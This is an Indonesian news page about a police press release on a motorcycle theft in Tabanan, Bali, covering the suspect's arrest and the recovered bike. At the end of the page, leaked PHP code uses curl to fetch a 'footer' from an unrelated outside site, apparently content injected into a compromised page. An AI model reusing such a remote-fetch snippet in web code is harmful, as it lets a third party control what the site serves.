Polres Tabanan Gelar Press Release Kasus Pencurian Sepeda Motor

Kamis, 26 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tabanan | jejakkasus.info – Polres Tabanan menggelar press release terkait kasus tindak pidana pencurian sepeda motor pada hari kamis, 26 September 2024. Press Release dipimpin langsung oleh Kapolres Tabanan, AKBP Chandra C. Kesuma, S.I.K., M.H., didampingi oleh Kasat Reskrim AKP. M. Taufik Kasi Humas, Kasi Propam dan Kasi Was Polres Tabanan. Press Release berlangsung di lobi Polres Tabanan.

Dalam press release tersebut, Kapolres Tabanan memaparkan kronologis kejadian pencurian sepeda motor yang melibatkan tersangka atas nama PL alias Basir (24 tahun, laki-laki, tidak bekerja, warga Br. Dinas Yeh Bus-Bus, Desa Sai, ( Pupuan).

Baca Juga:  Polrestabes Semarang Gelar Apel Operasi Keselamatan Lalu Lintas Candi 2022

Kejadian bermula ketika saksi Ajis Sihabudin memberitahukan kepada I Nengah Suara bahwa sepeda motor Honda Beat bernomor polisi DK 2533 GBE berwarna putih biru yang diparkir di kandang ayam milik Pak Setop hilang. Selain itu, saksi juga melaporkan bahwa dompet miliknya yang berisi KTP, ATM BRI, dan uang tunai sebesar Rp1.100.000 juga hilang.

Baca Juga:  Personel Polres Nagan Raya Laksanakan Latihan PBB Rutin Setiap Hari Selasa

Setelah menerima laporan adanya pencurian di Desa Sai, Pupuan, Kanit Idik 1 Satreskrim bersama tim Opsnal segera mendatangi lokasi kejadian untuk melakukan olah TKP dan menyisir rekaman CCTV di sekitar lokasi. Berdasarkan hasil penyelidikan, petugas berhasil mengidentifikasi pelaku.

Pada hari Senin, 9 September 2024, tersangka PL alias Basir berhasil diamankan di Desa Semoja, Pupuan bersama barang bukti berupa sepeda motor yang sudah diubah warna dengan cat pilok. Tersangka kemudian dibawa ke Polres Tabanan untuk proses lebih lanjut.

Baca Juga:  Sat Polairud Polres Bangka Berikan Himbauan dan Memasang Spanduk Larangan aktivitas Penambangan Illegal

Kapolres mengimbau masyarakat untuk lebih berhati-hati dalam menjaga barang berharga mereka dan selalu melaporkan segera jika ada kejadian mencurigakan di lingkungan sekitar.

( Humas Polres Tabanan )

Amin jk

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari
M. Syarif Hidayatullah Resmi Dilantik Sebagai Wakil Ketua III DPRD Kabupaten Jombang

Berita Terkait

Jumat, 11 Oktober 2024 - 01:50 WIB

Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Kamis, 10 Oktober 2024 - 21:28 WIB

Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>